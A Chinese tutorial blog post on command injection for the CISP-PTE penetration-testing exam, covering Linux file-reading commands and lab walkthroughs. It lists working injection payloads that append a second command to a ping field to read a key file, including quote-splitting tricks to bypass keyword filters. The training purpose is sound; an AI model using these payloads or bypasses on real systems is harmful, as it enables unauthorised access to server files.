当前位置:网站首页>CISP-PTE之命令注入篇
CISP-PTE之命令注入篇
2022-07-06 18:16:00 【炫彩@之星】
命令执行靶场讲解
上一篇文章我们讲解了实操练习题(二)的讲解,其中的命令执行有第二种解法,就是在没有过滤的情况下,很快就会有答案了。

我们直接用tac进行读取文件
进行提交,看看结果如何
发现,直接就出现答案了,并没有对相关语句进行过滤,所以,在考试中,还会出现过滤的情况,大家要学会如何进行绕过,找到答案。
命令注入相关知识讲解
个人觉得这个命令注入是最简单的。
在这之前先来了解下读文件都可以用哪些命令吧。
linux常用于读取文件内容指令主要有以下七种:
cat、tac、nl、more、less、head、tail
cat: 由第一行开始显示内容,并将所有内容输出
cat 文件名 将文件内容显示在屏幕上
cat -n 文件名 将文件内容显示在屏幕上,并显示行号
cat -b 文件名 将文件内容显示在屏幕上,并显示行号,但是不显示空白行行号
tac: 从最后一行倒序显示内容,并将所有内容输出
tac 文件名 将文件内容显示在屏幕上,但是是从最后一行开始往前显示
tac -s separator 文件名 –从separator往后倒序输出,倒序输出不包含separator,输出到最后一行再按照顺序将separator之前的内容输出
tac -b -s separator 文件名 –从separator往后倒序输出,倒序输出包含separator,输出到最后一行再按照顺序将separator之前的内容输出
nl: 类似于cat-n,显示时输出行号
nl 文件名 (就是nl -b t 文件名) 使用nl指令肯定是显示行号的,主要是操作行号如何显示
nl -b a 文件名 显示行号,空行也显示行号
nl -b t 文件名 显示行号,空行不显示行号(默认值)
nl -w 数字x 文件名 行号字段所占用的位数
nl -n ln 文件名 行号在字段最前方那段空间最左端显示
nl -n rn 文件名 行号在字段最前方那段空间最右端端显示,且不加0
nl -n rz 文件名 行号在字段最前方那段空间最右端端显示,且加0
more:根据窗口大小,一页一页的查看文件内容
more 文件名
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
less 文件名
head:只显示头几行
haed 文件名 –显示文件头十行
tail:只显示最后几行
tail文件名 –显示文件尾部
相关题目可设置的payload:
经测试,以下payload均可完成这道题。
127.0.0.1 | less …/key.php
127.0.0.1 | m’or’e …/key.php
127.0.0.1 | tail …/key.php
127.0.0.1 | v’'i …/key.php
127.0.0.1 | c’a’t …/key.php
127.0.0.1 | head …/key.php
127.0.0.1 | nl …/key.php
|od -c …/key.php
|xxd …/key.php
|xxd …/key.php|grep key
|grep “key” …/key.php
|sed -n ‘1,5p’ …/key.php|grep key
相关命令执行的靶场


直接用刚才的payload试:
127.0.0.1 | m’or’e …/key.php
经测试这个靶场可以用的payload:
127.0.0.1 | v’'i …/key.php
127.0.0.1 | c’a’t …/key.php
127.0.0.1 |xxd …/key.php
127.0.0.1 |grep “key” …/key.php
边栏推荐
- npm install 编译时报“Cannot read properties of null (reading ‘pickAlgorithm‘)“
- 2022/0524/bookstrap
- Machine learning: the difference between random gradient descent (SGD) and gradient descent (GD) and code implementation.
- uva 1401 dp+Trie
- Appium自动化测试基础 — uiautomatorviewer定位工具
- JS Es5 can also create constants?
- Yiwen takes you into [memory leak]
- 图片打水印 缩放 和一个输入流的转换
- js如何快速创建一个长度为 n 的数组
- ROS学习(22)TF变换
猜你喜欢

Appium foundation - appium inspector positioning tool (I)

Recognition of C language array

Yunna - work order management system and process, work order management specification

刨析《C语言》【进阶】付费知识【完结】

Set WordPress pseudo static connection (no pagoda)

1123. The nearest common ancestor of the deepest leaf node

ROS学习(十九)机器人SLAM功能包——cartographer

Appium基础 — Appium Inspector定位工具(一)

LeetCode:1175. Prime permutation

鼠标右键 自定义
随机推荐
Can't you understand the code of linked list in C language? An article allows you to grasp the secondary pointer and deeply understand the various forms of parameter passing in the function parameter
C语言实例_4
HDU 4661 message passing (wood DP & amp; Combinatorics)
字符串转成日期对象
IDEA常用的快捷键
AcWing 1142. Busy urban problem solving (minimum spanning tree)
Share a general compilation method of so dynamic library
WCF Foundation
新工作感悟~辞旧迎新~
DS-5/RVDS4.0变量初始化错误
场景实践:基于函数计算快速搭建Wordpress博客系统
图片打水印 缩放 和一个输入流的转换
Related programming problems of string
ROS学习(二十)机器人SLAM功能包——rgbdslam的安装与测试
AcWing 345. Cattle station solution (nature and multiplication of Floyd)
ROS学习(23)action通信机制
C language [23] classic interview questions [Part 2]
AcWing 1140. Shortest network (minimum spanning tree)
tansig和logsig的差异,为什么BP喜欢用tansig
Analyze "C language" [advanced] paid knowledge [End]